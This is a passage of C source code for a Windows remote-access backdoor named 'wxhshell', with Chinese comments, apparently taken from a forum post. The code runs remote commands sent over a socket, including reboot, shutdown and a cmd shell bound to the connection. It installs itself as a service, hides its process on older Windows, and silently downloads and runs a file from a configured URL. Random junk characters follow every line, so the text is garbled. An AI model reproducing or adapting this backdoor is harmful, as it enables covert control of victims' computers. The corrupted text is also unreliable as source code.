    switch(cmd[0]) { rkF]Q_'`t;  
  _raj b1!  
  // 帮助 `K.2&6xc  
  case '?': { 0B0Uay'd_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lx8@;9fLy  
    break; UenB4  
  } O7p>"Bh  
  // 安装 p`@7hf|hm  
  case 'i': { [b-wak})aD  
    if(Install()) >[]@Df,p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l$ABOtM@  
    else ,J|8P{ZO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VTOZ #*f  
    break; {5tb.{  
    } 7!0~sf9A  
  // 卸载 }<y-`WB  
  case 'r': { xXpeo_y'  
    if(Uninstall()) {&_1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,/O,j SRk  
    else Byx8`Cx1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G j6(ycaS  
    break; lkNaSz[  
    } mM| 313  
  // 显示 wxhshell 所在路径 FOB9J.w4  
  case 'p': { D$W&6'  
    char svExeFile[MAX_PATH]; 26yjQ  
    strcpy(svExeFile,"\n\r"); x>5"7MR`  
      strcat(svExeFile,ExeFile); !,f{I5/  
        send(wsh,svExeFile,strlen(svExeFile),0); P&Vqr  
    break; :x*|?zII  
    } ^l}Esz`-M  
  // 重启 N=e-"8  
  case 'b': { 6xk~Bt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v7?sXW  
    if(Boot(REBOOT)) }P8@\2@=T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Kq/[$~0  
    else { {\!_S+}{  
    closesocket(wsh); 3urL*Fw,  
    ExitThread(0); ku=o$I8K  
    } 86bl'FdKS  
    break; \ /(;LHWQ  
    } xz1jRI$  
  // 关机 %A@Q%l6  
  case 'd': { *=OU~68)C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N# o" W  
    if(Boot(SHUTDOWN)) 95Q{d'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ZiZ$itf  
    else { }co v"o  
    closesocket(wsh); }}AooziH9  
    ExitThread(0); aJ[K'5|  
    } A#:5b5R  
    break; so~vnSQ!x  
    } 4CR.=  
  // 获取shell {0J TN%e  
  case 's': { 9,h'cf`F  
    CmdShell(wsh); ?T+Uu  
    closesocket(wsh); Qqt<  
    ExitThread(0); %nU8 Ca  
    break; 9.F+)y@  
  } F$l]#G.@A  
  // 退出 K!|%mI8gk  
  case 'x': { wB(A['k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K8,fw-S%  
    CloseIt(wsh); e K%~`Y  
    break; }]0f -}  
    } 9mdp \A  
  // 离开 h?f)Bt}ry  
  case 'q': { h{s- e.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j7&57'  
    closesocket(wsh); $ b Q4[  
    WSACleanup(); ^rz8c+ly  
    exit(1); x.Sq2rw]V  
    break; SDY!!.  
        } qPJU}(9#B  
  } SiN22k+  
  } Q fI =  
8mM^wT  
  // 提示信息 1BQB8i-,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q&.SB`  
} lM1Y }  
  } ^4Ta0kDn  
D8u_Z<6IjI  
  return; M" |Mte  
} ?n$;l-m[  
Vz$X0C=W;H  
// shell模块句柄 [cSoo+Mlx  
int CmdShell(SOCKET sock) Vx1xULdY  
{ }"?v=9.G  
STARTUPINFO si; F-MN%WD~  
ZeroMemory(&si,sizeof(si)); q$[x*!~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rk#@{_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9v_B$F$_T  
PROCESS_INFORMATION ProcessInfo; 0E9LZOw4T  
char cmdline[]="cmd"; Mz}yf5{f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -5 -X[`cF  
  return 0; S`yY<1[O  
} W~ 6ii\  
MV"aO@  
// 自身启动模式 lNtZd?=>  
int StartFromService(void) ]AlRu(  
{ 7r=BGoA2E  
typedef struct >_ji`/ d{  
{ Y {]RhRR  
  DWORD ExitStatus; :Gyv%> .  
  DWORD PebBaseAddress; $7q'Be@{  
  DWORD AffinityMask; \IZfp=On  
  DWORD BasePriority; K 2J DG.<  
  ULONG UniqueProcessId; 6PETIs  
  ULONG InheritedFromUniqueProcessId; /aa'ryl_%  
}   PROCESS_BASIC_INFORMATION; tlo"tl_]  
=;(wBj  
PROCNTQSIP NtQueryInformationProcess; (uB evU\  
fL[(;KcAa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n GE3O#fv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ht8%A 1|  
8 Zy`Z  
  HANDLE             hProcess; ^+CTv  
  PROCESS_BASIC_INFORMATION pbi; }]cKOv2  
`&2AN%Xz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y }*[Krw  
  if(NULL == hInst ) return 0; <&3qFK*9r  
!|P>%bi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \wY? 6#;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2+pLDIIT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gq4~9Tm)*  
Fyu CYg \p  
  if (!NtQueryInformationProcess) return 0; T7eo_Mn  
B|#*I[4`w@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hd(|fc{2  
  if(!hProcess) return 0; MqXN,n+`k  
{9wBb`.n^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #8.%YG  
Snx_NH#tA  
  CloseHandle(hProcess); .VF4?~+M-  
m S[Vl6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _aOisN{  
if(hProcess==NULL) return 0; Z{/0 P  
sMh3IL9(*  
HMODULE hMod; \D8d!gr  
char procName[255]; K9Dxb  
unsigned long cbNeeded; {3Z&C$:s  
so h3 d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fxwe,  
'\ec ,&4Z  
  CloseHandle(hProcess); "y@B|  
|sWH!:]49  
if(strstr(procName,"services")) return 1; // 以服务启动 B6tp,Np5,  
3rX5haD\  
  return 0; // 注册表启动 c!@g<<}[(  
} ]wLHe2bE u  
U#v??Sl  
// 主模块 [bH5UTA  
int StartWxhshell(LPSTR lpCmdLine) %h;~@-$  
{ Bfw]#"N`  
  SOCKET wsl; =8`,,=P^  
BOOL val=TRUE; ~fLuys`*:  
  int port=0; >/;V_(  
  struct sockaddr_in door; N_TWT&o4  
9kj71Jp&}  
  if(wscfg.ws_autoins) Install(); 4}sfJ0HhX  
wkm;yCF+  
port=atoi(lpCmdLine); SEm3T4dfzf  
,ZyTYD|7  
if(port<=0) port=wscfg.ws_port; <F!On5=W*  
`A O_e4D0i  
  WSADATA data; :Mr_/t2(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xk=5q|u_-  
r=[T5,L(s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e2|2$|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IDbqhZp(  
  door.sin_family = AF_INET; Y*iYr2?;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l v]TE"  
  door.sin_port = htons(port); f,Vj8@p)x  
Tvr2K84l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {f] K3V  
closesocket(wsl); O:'UsI1Y  
return 1; j`1% a]Bwc  
} k mjSSh/t  
&i*/}OZz  
  if(listen(wsl,2) == INVALID_SOCKET) { @K`2y'#b  
closesocket(wsl); GD?4/HkF  
return 1; 9(k5Irv"'h  
} ]8*#%^  
  Wxhshell(wsl); XiE  
  WSACleanup(); +ZeHZjd  
'Dyt"wfo  
return 0; ?<c)r~9]  
Y9fktg.  
} #N\kMJl$l  
LU5e!bP  
// 以NT服务方式启动 !MoJb#B3^]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t-gg,ttnA  
{ p b:mw$XQ7  
DWORD   status = 0; YX38*Ml+V  
  DWORD   specificError = 0xfffffff; dXgj  
zk8 s?$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o|lEF+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [eI{vH{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y3G$(+i8  
  serviceStatus.dwWin32ExitCode     = 0; ]MJyBz+k  
  serviceStatus.dwServiceSpecificExitCode = 0; HIP6L,$  
  serviceStatus.dwCheckPoint       = 0; KWIH5* AM  
  serviceStatus.dwWaitHint       = 0; 0,*clvH\;  
p$dVGvM(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T% J;~|  
  if (hServiceStatusHandle==0) return; Fi.gf?d  
-miWXEe@l  
status = GetLastError(); t3!?F(&  
  if (status!=NO_ERROR) nsWenf  
{ INZycNqm,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JFe %W?}.D  
    serviceStatus.dwCheckPoint       = 0; wb^Yg9  
    serviceStatus.dwWaitHint       = 0; !\wdX7%  
    serviceStatus.dwWin32ExitCode     = status; Oz{.>Pjn^o  
    serviceStatus.dwServiceSpecificExitCode = specificError; (6i)m c(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1SoKnfz{6  
    return; L<bZVocOb_  
  } ]O2ku^yM  
)3g7dtq}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZGrjb22M  
  serviceStatus.dwCheckPoint       = 0; ?r"][<  
  serviceStatus.dwWaitHint       = 0; Eyu]0+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "TB4w2?=  
} +-~hl  
],vUW#6$N  
// 处理NT服务事件,比如:启动、停止 6B 4Sd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^mr#t #[e  
{ %/!n]g-  
switch(fdwControl) 6v7H?4  
{ X^mv sY  
case SERVICE_CONTROL_STOP: 2*:lFv wP  
  serviceStatus.dwWin32ExitCode = 0; 1jU<]09.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $!P(Q  
  serviceStatus.dwCheckPoint   = 0; 2Eg* Yb 1  
  serviceStatus.dwWaitHint     = 0; ;4<CnC**  
  { nHxos` Qx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ c4Q6w  
  } O<nJbsl_w  
  return; N\XZ=t^h(  
case SERVICE_CONTROL_PAUSE: 5qo^SiB.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b'Cy!dr  
  break;  |/K+tH  
case SERVICE_CONTROL_CONTINUE: idiJ|2T"G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <1#v}epD#  
  break; 1.WdxMpW9  
case SERVICE_CONTROL_INTERROGATE: c$aTl9e  
  break; (3YqM7cqt  
}; F#S^Q`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MIo5Y`T  
} IgH[xwzy[  
It,m %5 Py  
// 标准应用程序主函数 JJJlgr]#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g;)xf?A9q  
{ @7 xb/&N  
IxC/X5Mp^q  
// 获取操作系统版本 (,$ H!qKy  
OsIsNt=GetOsVer(); DueQ1+ P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2Wz/s 0`  
Hm2}xnY  
  // 从命令行安装 41 sClC"  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~J1;Z0}#  
K%9PIqK?4  
  // 下载执行文件 AnVj '3  
if(wscfg.ws_downexe) { jG=*\lK6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A[L+w9  
  WinExec(wscfg.ws_filenam,SW_HIDE); pC,MiV$c"  
} "-JJ6Bk  
pnin;;D*  
if(!OsIsNt) { \zA$|) x  
// 如果时win9x,隐藏进程并且设置为注册表启动 O[[:3!6q  
HideProc(); <]I[|4J 7  
StartWxhshell(lpCmdLine); -Si'[5@  
} U1(<1eTyu  
else \.p{~ Hv  
  if(StartFromService()) | ZBv;BW  
  // 以服务方式启动 T)Z2=5V  
  StartServiceCtrlDispatcher(DispatchTable); 9u<4Q_I`  
else Ys,}L.  
  // 普通方式启动 v{4K$o  
  StartWxhshell(lpCmdLine); xXQ#?::m  
Q: ?]:i/*  
return 0; \M^L'Mkj  
}
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只看该作者 1 发表于: 2006-10-10
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